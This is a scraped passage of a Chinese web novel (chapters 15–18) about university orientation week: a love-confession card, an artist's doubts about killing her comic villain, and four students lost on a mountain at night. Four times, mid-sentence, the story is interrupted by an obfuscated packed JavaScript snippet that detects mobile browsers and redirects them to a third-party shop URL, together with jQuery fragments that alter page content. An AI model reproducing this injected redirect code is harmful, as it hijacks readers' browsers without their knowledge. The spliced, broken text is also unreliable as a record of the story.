八卦消息总是传得很快,或许裴佑哲和石玥诗之间的故事已经流传开了,所以大家才是这样一副想起哄但又不敢的模样。 无论怎么想,那句「我喜欢你」都是石玥诗写给裴佑哲的。 她一开始没有承认,大抵是不想,但见其他女生被围攻,也许是出于主动承担的心态,于是就这么坦然地站了出来。 队员们看着石玥诗从地上起身,翩然走到学生会主席的身边,轻轻从他手中抽出了那张卡片,翻过来仔细地看了一番。 而后,她意味深长地盯着裴佑哲,似乎有什么话就在嘴边,但是没说。 这时候,费洛也突然站了起来,双手插兜,凑上前去,装作不经意的模样也往那张卡片上瞧。他瞧了一眼,表情顿时变得比裴佑哲还复杂,来回看着学生会主席和石玥诗两人,翻来覆去吸了好几次气,但就是一句话也说不出来。 此刻,几个高年级的学长凑在一起,都是一脸有故事的模样。这帮新生也不敢上去问怎么了,只能盯着他们三人的这场默剧,悄悄在底下议论着。 这时候,五组有一个明显弄不清楚情况的新生大声朝石玥诗问:“是写给谁的呀?” 她这话刚一出口,身边的人就把她的嘴巴给捂上了,她的组员均是一脸惊恐,地对心大的成员说:“看气氛啊……!” 听到新生的问话,石玥诗盯着眼前的裴佑哲,她脸上是笑着的,可是不知为何,那笑容下面却有一种阴狠的意味,“是啊,这究竟是写给谁的呢,佑哲?” 裴佑哲不为所动,未曾被对方面具之下的某种情绪所震慑,他以一个微笑回应之,“那恐怕只有写了这张卡片的人才知道吧。” 费洛默默回到了三组成员的身边,他坐下来之后也不说话,组员们问他怎么了,他叹息了一声,摇摇头说:“修罗场啊……” 只有这么一句话,意味不明。再问他些什么,他却不回答了。 围聚在场地中心的人散了,很快,这件事情就翻了篇。 小小的插曲没有掀起什么风波,马上又被新一轮的话题盖了过去。 活动持续了一整个下午。 傍晚的时候,学生们离开了公园,去到一家限时主题餐厅美美饱餐了一顿,然后就在市中心的酒店住下了。 今天休息得比较早,因为明天安排的活动是爬山。 小组普遍是由两男两女组成,故而酒店的房间安排也是同组中同性别的成员住在一起。 庄森芽和温枣两人进了酒店,惊觉是被分到了豪华间,她们东瞧瞧西看看,几乎把整个房间都翻了个彻底,这才不知疲倦地开始洗漱更衣。 雏鸟周的队伍大群里,消息响个不停,副队长在群里公布了明日的行程,有人在下面留言,撺掇去一个房间一起打桌游。 看到打桌游的消息,温枣兴致勃勃,她似乎很爱玩游戏,无论是电子游戏还是现实里的游戏。她问庄森芽要不要一起去,庄森芽婉言拒绝了他,于是温枣一个人蹦蹦跳跳地离开了。 等对方走后,庄森芽从自己的背包里翻出了手绘板,用蓝牙和手机连接在一起,打算借睡觉之前的时间再画一点稿子。 在手机上画画很不方便,没有专业软件,只能画点草稿,而且没办法插移动硬盘,前面的剧情画到了哪里也接不太上,只能根据自己脑袋里的记忆往下画。 但现在的条件是这样,勉强将就一下好了。 她转动着数位板的画笔,坐在床上,盘着腿,一只手支撑着自己的下巴,思考着接下来要画的内容。 上一次画到了主人公尤梭第二次重振旗鼓,打算攻入反派诺特斯的另一个据点。拿下这个据点,诺特斯在‘无主之地’的势力就会被打掉三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208428|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分之一。 而这次进攻胜利之后,会有更多同伴加入主人公的行列。那些曾经不敢对诺特斯揭竿而起的人,都会加入主人公尤梭的队伍,正义的一方越来越强大,积蓄着实力,等待和反派决一死战。 而反派的一方…… 这个诺特斯神出鬼没,部下都是一些非常神秘的穿着蒙面斗篷的使者,仿佛是什么邪教组织一样,信奉着某种异端信仰。他们把石剑醇这种资源当成是不可侵犯的珍宝,向神明供奉着这种资源,而不将它分享给疾苦的大众。 只有扳倒诺特斯,让石剑醇这种宝贵的基础生命物质回归到普通人的手中,这个名叫莱王星的星球上的人们才能过上真正的幸福生活。 诺特斯罪大恶极,犯下累累罪状,等待他的将是众人的审判和代表赎罪的死亡。 嗒。 画笔戳在手绘板上,发出清脆的声响。 庄森芽皱着眉毛,盯着空无一物的画板,心情有些不知该如何形容是好。 “……是我这支画笔将要杀死诺特斯。” 她会画出他的死状,以及被所有人唾弃的结局。 所有的一切都由她手里这支画笔…… 呃,为什么感觉这么奇怪,就好像真的在杀人一样。 是因为诺特斯从漫画里走出来、现身在了这个世界上吗? 所以她有了一种在处死真实存在的人的感觉。 这个男人最近都没有再出现过了,这是因为她每次用一两格主视角去画反派势力状态的时候,都没有忘记将诺特斯画得十分窘迫惨淡。 只要她的画笔制造一系列巧合,不允许他从伤痛中康复,他就会一直是这副模样。 ……自己真的有这样处置生命的权利吗? 不,不对,不能这么想。 诺特斯是她创造的虚构角色,而且是个无恶不作的坏人。自己作为将他带到这个世界上来的人,也有义务让他不要继续作恶,并让他最终尘归尘,土归土。 直到想到这里,庄森芽的手终于不再那么僵硬,可以开始正常落笔画画了。 她几乎画到了凌晨,因为温枣醉醺醺地闯进来而停笔搁置。 对方似乎喝了不少酒,是被人抬回来的。 几个女生一起把她放到了床上,温枣傻笑着,抱着枕头,不过几秒就睡昏了过去。 “没关系,把她交给我吧,你们早点休息。”庄森芽对把温枣送回来的同学们说。 几人走后,她摆正了温枣的身体,给她盖好了被子。 “别……”温枣低声梦呓。 庄森芽没听清她说什么,于是弯腰附耳上去。 温枣伸手在空中挥舞了一下,模样似乎有些愤愤不平,但眼睛还是闭着的,“别抢我人头……” 庄森芽被她的梦话逗得一笑,心想她还真是爱打游戏。 “祝你梦里五杀吧。”她对睡梦里的人说。 夜已经深了,庄森芽不打算熬夜,明天还有爬山活动,于是熄了灯,钻进被子里,也很快进入了梦乡。 16. 登山,开爬! 雏鸟周的第二天,队员们在各自用过早餐之后,收拾好自己的行李,来到了酒店大堂一层集合。 在队长的带领下,他们闹闹哄哄坐上了开往郊区的大巴。 一辆大巴刚好坐下了两队成员,四十四个人,包括四名队长副队长和四十个队员。 当大巴开到高速公路上,开始平缓行驶的时候,裴佑哲站了出来,替另一支队伍的队长代行职能,给两队新生们阐述接下来爬山活动的注意事项。 “大概一个半小时之后,我们会抵达驻马山,上午十点活动正式开始,所有人从起点出发,终点是最高峰,四人全部到达终点算作整个小组成功,排名结果以小组最后一个成员到达顶峰的时间为准。小组排名前三有丰厚的奖励,但是大家也不用太拼命,每一个小组都会拿到参与奖,参与奖在我看来也不错,具体是什么……在这里就卖个关子,先不告诉大家了。” 裴佑哲举着扩音器,像一个专职导游一样,立在大巴车的最前端,背对着前车玻璃,面朝所有的新生说:“爬山的时候要注意自己的身体情况,这次我没有办法全程陪同大家,六到十队的队员们,你们的队长也没办法照顾你们,所以,所有人,你们一定要十分留心自己的安全。” 他说这些话的时候,表情时而严肃、时而和蔼,就仿佛在进行什么十分重要的宣讲一般。 “等到了山脚下的集合地之后,第一件事情,是需要你们每组之中出一名成员作为组长。组长的任务是确保每一个组员的状态,如果在山上遇到什么情况的话,组长需要负责向队长或者副队长及时报告。” 裴佑哲交代完注意事项之后,大巴车上的新生们纷纷都开始议论了起来。 第三组的组员们两两坐在一起,前后排挨着,坐在前面的费洛和何元楚转过身来,趴在椅背上,与庄森芽和温枣两人讨论起了今日的活动内容。 “我们选谁当组长啊?”费洛问。 “怎么想都是你吧。”庄森芽说。 “我也这么觉得。”温枣应和。 费洛倒显得有点难为情,“意见这么统一?” 何元楚一本正经地分析,“你比我们都大一岁,和队长关系也比我们好,你是最佳的人选。” 费洛听完笑起来,露出他尖尖的虎牙,“好,既然你们这么相信我,我一定不会辜负你们的。” 到了山脚下,各组队长再次重复登山的注意事项。 那之后,活动开始了。 一群乌泱泱又朝气蓬勃的学生像是鱼苗一样汇入水中,往山顶的方向攀爬而去,有些走得快的,一下子就窜了出去,消失在了众人的视野中。 庄森芽所在的第三组保持着不紧不慢的速度,和大部队暂时走在一起。 “活动要求组内四个人全部登顶之后才算整组成功。”何元楚边攀爬着台阶边说道,“要是其中一人登顶就能代表小组成功的话就好了,这样的话,就可以直接派我去冲刺。” 这才爬了不到十分之一,费洛却有些喘了起来,他感慨说:“年轻就是好啊。” 温枣态度十分乐观,“没关系,反正不管第几名都有参与奖,我们就当是来玩的嘛。” 走着走着,已经开始有渐渐掉队的小组,学生之间的体力差异也开始逐渐明显地体现出来。 当他们爬到一个分岔路口的时候,费洛突然加快了脚步,往上小跑好几个台阶,回身拦在他们的前面。 几人疑惑地盯着他,只见费洛扬起一个自信的笑容,他脸上挂着汗珠,浅黄色的头发在阳光下闪闪发光,“想拿名次吗?我知道有一条近路。” 庄森芽爬得有点累,气喘吁吁地问他,“有近路你怎么不早说。” “刚才人太多了,我怕说出来让别人听见。”费洛压低了声音,做出悄声说话的手势,朝几个人挤眉弄眼,“都来走近路,那岂不是只会给我们徒增一堆竞争者。” “路在哪?”何元楚问他。 “喏。”费洛用下巴尖指了指眼前的分岔路口。 在他们面前,有一个不那么明显的分支,向左是修建完善的人工台阶,向左则是一条看起来有些阴暗的小径。 此刻,所有的学生们都在左手边的阶梯上奋力攀爬,没有人留意到这个分岔路口。他们几人如果走上去的话,就是唯一一个走这条野路的小组。 何元楚推了一下因为汗水而下滑的眼镜,问道:“靠谱吗?” “当然了。”费洛信誓旦旦地说,“去年雏鸟周,我们也是组织来爬的这座驻马山。当时有个学长带我们抄了近路,就靠这一点,我当时的组可是拿了第二名呢。” 话音落下,几个人都向那条阴森的小径看了过去。 接着,他们交换了一下目光,又看了看周围专注于爬山的同学,似乎有什么一致意见在这个过程中达成了。 四人没有说话,只是互相点头示意,十分默契地离开了主干道,悄悄走上了那一条荒无人烟的小径。 驻马山上有非常多的针叶树,此刻是秋季,山顶气温比较凉爽,叶子落了满地,在泥土上形成一片红色与灰色交杂的草席。 第三组成员在费洛的带领下,沿着一条户外登山者留下的路线痕迹,继续向山顶攀爬。 脚下沙沙作响,他们离大部队越来越远,嘈杂的人声渐渐消失在了周围,山谷里时不时传来幽幽鸟鸣。 人烟罕至的地方,动物的踪迹也多了起来,不过这种山上一般也没有什么猛兽,只会有一些小型生物的身影。 何元楚打量着周围的情况,再度朝费洛开口,“我们离主路越来越远了,你确定这个方向是对的吗?” 费洛走在前方开路,头也不回地说:“放心吧,如果一直和大部队走在一起的话,那又怎么能称得上是近路呢?” 何元楚:“……说的也是。” 他们又爬了一阵子,而后找了一块大石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208429|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头暂时栖息。 时间差不多到中午了,几人翻出背包里的面包、香肠、矿泉水,以及自热火锅,将食物摆在石头上,打算补充一点体力。 “好~累~啊~”温枣拉长了声调说。她也出了满头的汗,染成浅粉色的头发软趴趴地贴在额头上,即便是这种户外活动,她依然穿着精美的小短裙,配着一条糖果色的过膝袜,脚上是高帮运动鞋,上身套了一件很宽松的休闲外套,头发胡乱地在脑袋后面盘起来,有种松弛又随性的意味。 何元楚递给她一瓶打开的矿泉水,动作是关怀的,嘴上却不饶人,“半山腰还没到呢,你这就不行了。” “爬山也太累了,我不擅长运动吗。”温枣抱怨着说。 “所以早就叫你多锻炼身体,真到了关键的时候就知道体力有多重要。” “我知道,可我很不喜欢出汗的感觉,浑身黏糊糊的,太不舒服了。” 何元楚轻轻叹息一声,“总之抓紧休息,等一下还要继续爬山。既然抄了近路,那就努努力,看能不能拿到名次。” 听到这里,温枣打量了一番何元楚。突然,她想到什么似的,眼睛都亮了起来,“后面要是爬不动了,你就背着我吧!” “……啊?”何元楚一愣。 “毕竟我不能拖你们的后腿。就像你说的,既然都抄近路了,那就奔着第一名去呗。”温枣不知是哪来的干劲,目光炯炯,“元楚你体力这么好,再背一个我也是绰绰有余的啦。你健身这么多年,就是为了这一刻。多吃点,等一下就靠你了!” 温枣安排得妥妥当当,还自认完美地点了点头。 何元楚张了张嘴,脸上漫起一片可疑的浅红色,他顿时有些结巴,声音也越说越小,“自、自己走啊……把责任推卸给别人算什么……” “总之就这么定了。”温枣下结论一般说道。她很快转移了话题,注意力落在了旁边的自热火锅上,“哎,它开始冒热气了。哎呀,糟糕,我忘记定时了,手机手机……” 另一边,庄森芽靠在石头上,嚼着一根香肠,放空自己休息着。这一路爬上来,她也不怎么轻松,但还好,目前看来体力是足够坚持到顶峰的。 费洛蹲在她脚旁边,和一个火锅材料包的塑料袋对抗,他似乎找不到可以撕开的口子,于是拿牙齿去咬。 庄森芽的目光落在他身上,心里念叨着,还真像个狗狗…… 他撕扯的动作大了些,结果调料包里的辣椒末溅出来撒了一身,费洛怪叫了一声,埋怨说:“质量太差了吧,景点的小卖部老板是专门派来背刺游客的吗。” 他站起来,把身上的调料拍下去,又甩了甩头,模样更像一条金毛犬了。 庄森芽觉得好玩,就一直盯着他,目光也不加掩饰。 费洛渐渐注意到了她的视线,他眨眨眼睛,脸上突然露出了坏笑,“你在想什么?” 庄森芽移开视线,“……没什么。” 17. 树后的影子 费洛眯起眼睛,上半身凑过来,一脸狡黠,“是不是在把我和什么犬类在对比?” 被猜中了想法,庄森芽一下子紧绷了起来,连忙摇摇头,“绝对没有。” “没关系,不用假装了,你不是第一个这么觉得的人。”费洛轻松地说,他又坐在落满了针叶的地面上,忙活着去拆另一个调料包,这次倒是很顺利,撕开之后,他将那些干巴巴的生菜倒入了暂且没有煮熟的米饭上。 话都聊到了这个份上,庄森芽也说出了自己心里的疑惑,“我第一次在学生会的招新摊位上见到你的时候,还以为你特别不好相处,又是染着一头黄毛,穿搭又特别的潮,一看就是生人勿近的那种。” “原来我会给人留下这种感觉吗?” “就像是个内心柔软的刺猬一样。” 她说完这个描述,费洛的身形突然一顿,而后又像什么都没发生一样,撕开自热火锅的水包,往一次性饭盒里面倒水,“……刺猬啊。” “很像。” 费洛继续着手上的活计,侧脸在浅黄色头发的遮挡下看不太清表情,他声音轻松地说:“那……能问问你是怎么看待佑哲的吗?” 话题的转变让庄森芽一愣,怎么突然聊到裴佑哲了? “干嘛问我这个?”庄森芽不解。 “没什么,就是随便聊聊。” “唔……”庄森芽思虑片刻,一个词从脑海里冒了出来,“佑哲的话……圣徒?” 费洛扬扬眉毛,“这么高的评价。” 提到裴佑哲,庄森芽突然想起来昨天话题活动上写着「我喜欢你」的那张卡片,她到现在都不理解为什么当时裴佑哲、石玥诗和费洛三人的表情都那么奇怪,于是俯下身去,悄声对费洛说道:“问你件事,昨天那张卡片到底是不是玥诗写的?为什么最后你们三个人反应都那么怪异……还有你最后说‘修罗场’又是什么意思?” 费洛盖上自热火锅的盖子,把它放在石头上,一手撑着自己盘起的腿,直视庄森芽,低声发问,“我告诉你的话,你能发誓保密吗?” 庄森芽一听,立刻把头点得像小鸡啄米一样。 费洛将上身侧过来,庄森芽当即附耳上前。 “写下那张卡片的人……”费洛缓慢地说道,“是裴佑哲。” “啊?”庄森芽发出惊讶的单音。 不远处另外两个组员听到她震惊的声音,纷纷侧过头来,温枣询问道:“怎么了?” 想到刚才费洛说这件事要保密,庄森芽连忙摆摆手,“没、没什么……” “我跟她说学生会入会考核很严格,还要打扫校园里的公共厕所,她就惊讶成这样了。”费洛神色不变地信口胡诌。 “还要打扫厕所啊。”温枣同情地盯着庄森芽,“费洛你人脉那么广,就帮我们森芽混过去呗?” “肯定的咯。”费洛承接下了这个并不存在的义务。 待另外两人的注意力转移走了,庄森芽这才又朝费洛低声追问道:“你怎么知道是佑哲写的?” “我认得出来他的字。” “他是写给玥诗的吧?” “唔嗯……”费洛沉吟了一声,留一个侧颊给庄森芽,“不是哦。” 庄森芽捂住了自己的嘴,以免再度发出什么奇怪的声音,“不是玥诗……那还能是谁?” 这就有些超出预料了,没想到那张卡片不光是裴佑哲写的,居然还不是写给石玥诗的。 不过,石玥诗不是正在追求裴佑哲吗,那这个意思也就是说,她是单恋? 可是,不应该呀,石玥诗性格那么好,人长得又好看,又会跳舞,说话声音也温柔好听,气质甩她周围的人好几条街,怎么看都和同样与众不同的裴佑哲特别般配。 庄森芽还想问些什么,费洛却没有继续这个话题的意思,他拍拍手,从地上站起来,“好了,自热锅准备好了,接下来就等着吃吧。” 见他这个样子,庄森芽也就没有继续追问下去了。 在等待自热锅的过程中,四人围拢起来,就接下来的后半段路程进行严谨的商讨。结合每个人体力的情况,何元楚给出了一个方案,能让大家都得到充足休息的情况下,以最快的速度爬到顶峰。 “等一下你们两个把包里重的东西都交给我和费洛。”何元楚对庄森芽和温枣说,“累了就喊停,不要太勉强自己,不然的话,体力透支,反而会越爬身体状况越糟。” “好的。”庄森芽表示配合。 “记得留体力背我啊,元楚!”温枣提醒他说。 何元楚无声地叹息,却没说出拒绝的话,“……好。” 费洛在旁边用肩膀撞了一下何元楚,“这么靠谱,早知道这个组长给你当了。” “不不,元楚当不了组长,他从小时候开始就是个参谋类型的人。”温枣说。 何元楚:“参谋……你当我们是在打仗吗?” 温枣:“比赛和打仗有异曲同工之妙啦。” 沙沙。 近处的灌木发出了一阵声响,另外几人都在热火朝天地聊着天,只有庄森芽一个人注意到了响动。 她扭过头去,往周围的树林里看,然而却没有看到什么值得留意的东西。 她想着,应该是蜥蜴或者野兔之类的吧,这座山很茂密,这里又这么安静,会有一些野生动物也没什么好奇怪的。 然而,正当她转过头来、打算再度加入组员们的聊天之中时,突然,一个黑色的影子在余光中一闪而过。 她往前方的灌木丛中看去。 一棵粗壮的树后,似乎露出了一个成年人那么高的暗影,距离不是很近,她看不清那是树林之间的阴影形成的一块黑色的暗区,还是其他的什么东西。 而就当她定睛看过去的时候,那个黑色的影子咻一下躲进了树后。 庄森芽吓了一跳。 是人? “欸。”她拍了拍坐在她旁边的费洛的大腿,指着不远处的那颗粗壮的树,“刚才好像有人在那里走过去了。” 闻言,几个人都朝庄森芽指尖所指的方向看过去。 他们安静地凝视了片刻,但没有听到走动的声音,也没有看到什么人影。 “可能是来徒步爬野山的登山者吧。”费洛说,“驻马山在上茂市还挺有名的,难度不高,也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208430|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有被旅游公司过度开发,所以有很多户外爬山者会选择它作为初级目标。” 何元楚:“可是那边应该没有路吧,我们走的这条路已经够偏了,来爬山的人就算走野路也都一般会沿着前人的路径登山。” “这就不知道了,可能那人喜欢有点挑战性?”费洛说。 “会不会不是人,而是什么野生动物?”温枣提出一个猜想。 “这种经常有游客走动的山,大型野兽一般都会躲得远远的。”何元楚分析道。 “应该是个人。”庄森牙说,“影子看上去瘦瘦高高的,应该就是游客吧。” “那应该是吧。”温枣应和说道。就在这时,她的手机响了,“啊,时间到了,可以吃火锅了。” 几人掀开自热火锅的盖子,热腾腾的蒸汽飘了起来,一股香气在树林间弥漫开来。 庄森芽抱起自己的那一碗,捧着它开始往自己的嘴里塞饭。与此同时,她又斜看了那颗粗壮的树一眼,不知道为什么,刚才那个一闪而过的影子总让她觉得有些在意。 几人吃完了东西,把垃圾打包好,而后又踏上了路途。 吃完了饭之后,这伙人又有了力气,脚下的路程都变快了。 费洛还是在前面打头,一副胜券在握的模样,带着他们在幽静的小径之间穿梭。 跨越突起的树根,俯身穿过低矮的枝桠,仿佛在迷境之中探险一般。 就这样,时停时走,时间又过了两个小时,他们来到了一颗因为树木生长太密集而萎缩的枯树旁边。费洛停了下来,盯着那棵枯树看了片刻,而后转过身来面朝着自己的组员。 见他停下来,众人也都纷纷停下了脚步,疑惑地盯着他。 “伙伴们,”费洛郑重其事地说,“我们好像迷路了。” 他这话一出,顿时空气一片安静。 “啊??”温枣反应过来后,发出了一长串的怪叫。 何元楚走上前来问道:“迷路?怎么回事。” 费洛指了指身后的那棵枯树,“刚才见到过这棵树,我们好像绕回来了。” 何元楚看了看那棵枯树,又看了眼费洛,“……你,到底认不认路啊。” 费洛挠了挠后脑勺,神情这才变得有些不好意思,“一年过去,这条土路好像有些变化……” “那我们现在怎么办。”庄森芽问,“原路返回吗?” “可这样就与冠军无缘了呀。”温枣说。 何元楚一脸严肃,“要是真的迷路了,现在的当务之急是趁天黑之前回到大部队中去,也别管什么冠军不冠军了。” 就在几人交谈的时候,庄森芽又听到了一种细微的沙沙声响。 她回过头去,往山后的树林里看。 在片刻的寻觅过后,她在一棵树后看到了一个漆黑的影子。 而这次,当她的视线投过去时,那个影子又像上次一样,唰一下子消失在了树后。 相似的事情两度发生,一种诡异的情绪在庄森芽的心里攀升。 那是什么人?或者说什么东西? 为什么又遇见了,难道是有什么东西在跟踪他们吗? 18. 滞留山间 “要我说,还是试试往前走走看吧。”费洛说,“这条路上有登山者留下的记号,我们刚才应该是看漏了其中某一个,所以走错了分岔路。” 何元楚问:“要是又绕回来了怎么办?” “那没办法,就原路返回吧。” 何元楚沉吟了一声,然后看了一眼手机,又看了眼天空,“距离天黑差不多还有四个小时,不知道我们现在具体在山腰哪个位置,虽然登上峰顶有缆车可以迅速下山,但是为了保险起见,如果我们再试一次还是找不到上山的路的话,最好当机立断直接原路返回下山。” “我赞成。”费洛说。 “哇,怎么有种在探险的感觉。”温枣丝毫没表现出慌乱的情绪,而是有些激动了起来。 何元楚瘪了瘪嘴,和她唱反调说:“等天黑了,如果还在山上,你就不觉得好玩了。” “走吧,时间不等人,让我们再试一次。”费洛催促道,他已经迈开了步伐。 组员们又开始行动了起来,庄森芽还留在原地,有些心事重重地往远处的树林里看。 “森芽,走啦。”温枣在远处呼唤着她。 “来了。”庄森芽收回目光,跟了上去。 一行人继续走在坑坑洼洼的崎岖土路上,迷路并没有影响他们的状态,此刻他们的模样看起来依然斗志昂扬,似乎还对夺冠仍抱有着一定程度上的期待。 然而,当兜了一大圈,第三次见到那颗半死不活的枯树时,这伙人明显有些受到了打击。 “又绕回来了!”温枣大声喊着这个每个人都意识到的事实。 “怎么会……”费洛一脸讶异,“这次明明是严格按照路标走的呀,我肯定一个都没漏掉。” “可能路标有问题吧,有人故意搞怪也说不定。”何元楚说,“这下没办法了,我们只能原路返回。” “啊啊……”费洛模样看起来有些泄气,毕竟是他一开始说要带大家抄近路,结果现在近路没抄成,如果没办法到达顶峰的话,连参与奖拿不到了。 仿佛早就料到这个情况似的,何元楚十分平静地说:“往回走吧,现在我们还有时间,趁天黑之前回到山下的集合点。” “看来也只能这样了。”庄森芽表示赞同。 整组成员达成目标一致之后,踏上了原路返回的道路。 费洛的模样看起来有些沮丧,但并没有人责怪他,毕竟当初抄近路的决定是大家一致通过的,现在既然出了问题,结果也要一起承担。 他们沿着原路往回走,下坡路走起来要快上一些,两三个小时的路程大概能压缩到一半。 “小心点。”一个陡坡处,何元楚先跳了下去,然后伸手去扶后来的组员,他因为常年健身的缘故,手臂很有力气,稳稳当当地把另外几个人安全接了下来。 太可靠了。庄森芽心想。她记得温枣说过,何元楚是以年级第一的成绩考上经济学的,不光是个学霸,还是个会健身的学霸。 她内心暗暗决定,将来一定要跟他搞好关系,这种大腿一定要牢牢抱住。 几人眼前是一成不变的树林,走了将近一个多小时,但是还是看不到主路。 “还有多远啊——”温枣拉长了音调问道。 “应该快了吧。”何元楚说,他打开手机地图,用两指放大它,“山上信号不太好,位置同步得不及时,但总体上来说,我们是在向主路靠拢的。” “对不起,这次回去我请大家吃饭。”跟在后面的费洛突然说。 几人回头看他,这才发现费洛已经像一条蔫巴狗一样,看起来没精打彩的。 另外三人互相对视了一眼,而后温枣站出来,对费洛说:“没关系啦,这次我们走野山路玩得不是也挺开心的吗?喏,我还踩到了野味呢。” 温枣敞开它粉白色的斜挎包,里面躺着一个扁平的圆蘑菇,长得很质朴,看上去大概没有毒。 “你只是想带着我们赢,我们都知道的。”庄森芽也安慰说。 “是啊。”何元楚也说,“路标被人修改过这种事算是意外,来之前谁也不知道的。” 费洛抬起头来看了一圈大家,眼里闪烁着感动的泪光,“你们……” 温枣一挥手,超过众人走在前面,带领大家继续往山下走,“好啦,快点下山吧。本来就没有很喜欢这次爬山活动,早点结束也是好事,听说晚上还有团建呢,那个才是今天的重点!” 何元楚跟上了对方的步伐,“你只是想喝酒吧。” “怎么会。”温枣理直气壮的反驳,“还有唱歌和玩骰子游戏呢”。 于是乎,一行人又士气昂扬地踏上了道路。 走着走着,他们发现似乎有些偏离了原路,之前一直会隔一段就出现一个路标,但现在已经很久都没有看到了。可几人也不是很紧张,因为从重力的感受上来看,他们一直是在往山下走的。 就这样又过了一个多小时,天边渐渐染上了橙红的颜色。 开始有鸟儿在山林间凄厉地叫着,这个时候他们还是没有看到主路的踪影。 “哇,这山有点邪门欸。”温枣说,“怎么感觉好像都走不到尽头一样。” 跟在她后面的何元楚没接话,他翻出手机戳弄了两下,又看向天空,眼里出现了有些担忧的神色。 时间已经不早了,然而他们还是没有找到大部队。夕阳已经落了下去,天黑只在顷刻之间,如果再找不到主路的话,夜深人静,所有的旅客都下山了,对他们来说想要找到出山的路就更加困难了。 “加快脚步吧。”庄森芽说。她心里也有点不安,不光是因为天色将暗的原因,还是因为不久前那个两次看到的树林后的阴影。 于是,一伙人的脚程都加快了起来。 又是半个小时过去,天彻底暗了下来。 然而他们还是没有找到主路。 四周的森林开始变得黑黢黢的,驻马山变成了一个看不清样貌的庞然大物,在黑幕之下显现出一种神秘肃然的压迫。 黑暗中似乎潜藏着什么东西,那是恐惧的源头,人们对于黑夜总是有着无尽的想象力,而这对于他们四个大学生来说更是如此。 几人的身影彼此靠近,围聚在一起,他们打开手机的照明,小心翼翼地探寻着前行的道路。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208431|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “有人吗——?”每走上一段距离,他们就开始呼喊,希望附近有人能够听到他们的喊声。 然而四周一片寂静,只有偶然传来的猫头鹰的咕咕声。 “怎么办,难道我们要在山上待一晚上吗?”温枣有些担惊受怕地问。 另一边,费洛举着自己的手机贴在耳朵上,似乎在给什么人打电话,可是电话似乎没有拨通,他敲打了一下自己的手机,愤愤然,“信号怎么这么烂?” 庄森芽也掏出自己的手机,看到上方显示‘无信号’的标识,那几个字往她心中的不安上又添了几分重量。 “天太黑了,还是先不要走了。”何元楚说,“现在借手机照明看路况已经很费力了,要是遇到什么深沟或者断崖之类的,甚至有可能发生生命危险。” “呀,好可怕……!”温枣音色惊慌。 “我的手机快没电了。”庄森芽对他们说,“你们的呢?” 何元楚晃了晃自己的手机,“照明很耗电,我的也快没有了。” “我的也是。”费洛说,“先把手电筒关了吧,给手机留点电,以免后面还有需要用的时候。” 他们把手电筒关了,四周一下子就暗了下来。 恐惧开始弥漫,和温枣牵着手的庄森芽能明显感觉到对方的颤抖。 他们被这座山困住了。 借着一点点月色,四人摸索到了一颗树旁,找了块空地坐下来。 一时间,几人都很沉默。 有些受不了这种压抑的气氛,庄森芽努力让自己显得轻松一些,不希望见到悲观继续蔓延,她挑起话题,“这还是我第一次露宿野外,没想到会是在这种情况下,人生还真是处处充满了意外。” 何元楚望过来,月色下,他露出一个勉强的笑容,“我也是第一次。我们甚至连基础装备都没有,专业的冒险家都不敢像我们这么鲁莽。” 温枣有些疲倦地倒进庄森芽的怀里,环抱着她的腰。庄森芽摸了摸她浅粉色的柔软发丝,安慰性质地搂住她的肩。 “我背包里还剩一些巧克力和水,你们要是饿了的话,就随时来我这里拿。”庄森芽说。 费洛从背后抓过自己的背包,往里面掏了掏,发出一阵塑料袋挤压的声响,“我也应该还有一些面包和压缩饼干,咱们坚持过今晚应该是没什么问题的。” 庄森芽:“嗯,其实现在天气凉爽,山上除了蚊虫有些烦人之外,也没有什么其他的威胁,只是睡一晚的话,应该不成什么问题。” “明天天一亮,我就去探路。”费洛站出来自告奋勇地说,他的自荐之中多少带有一些愧疚的意味,“我一定找到回去的路,之后我就回来叫你们。” 何元楚听了,摇摇头,“还是一起行动吧,你要是再走丢了,我们还得去找你。” 